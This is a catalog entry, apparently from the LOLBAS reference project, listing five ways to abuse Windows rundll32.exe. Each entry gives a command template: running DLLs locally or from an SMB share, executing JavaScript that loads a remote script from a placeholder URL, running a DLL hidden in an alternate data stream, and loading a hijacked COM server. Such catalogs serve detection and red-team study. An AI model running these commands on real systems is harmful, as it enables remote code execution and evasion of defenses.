Catalog LOLBAS

LOL · Binary

Rundll32.exe

5 techniques WindowsLOLBAS GPL-3.0

Execute

Execution Windows

First part should be a DLL file (any extension accepted), EntryPoint should be the name of the entry point in the DLL file to execute.

Use Execute DLL file

rundll32.exe {PATH},EntryPoint
Context
user
Native
Execute

Execute

Execution Windows

Execute a DLL from an SMB share. EntryPoint is the name of the entry point in the DLL file to execute.

Use Execute DLL from SMB share.

rundll32.exe {PATH_SMB:.dll},EntryPoint
Context
user
Native
Execute

Execute

Execution Windows

Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.

Use Execute code from Internet

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:{REMOTEURL}")
Context
user
Native
Execute

ADS

Defense EvasionFile Write Windows

Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).

Use Execute code from alternate data stream

rundll32 "{PATH}:ADSDLL.dll",DllMain
Context
user
Native
ADS

Execute

Execution Windows

Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.

Use Execute a DLL/EXE COM server payload or ScriptletURL code.

rundll32.exe -sta {CLSID}
Context
user
Native
Execute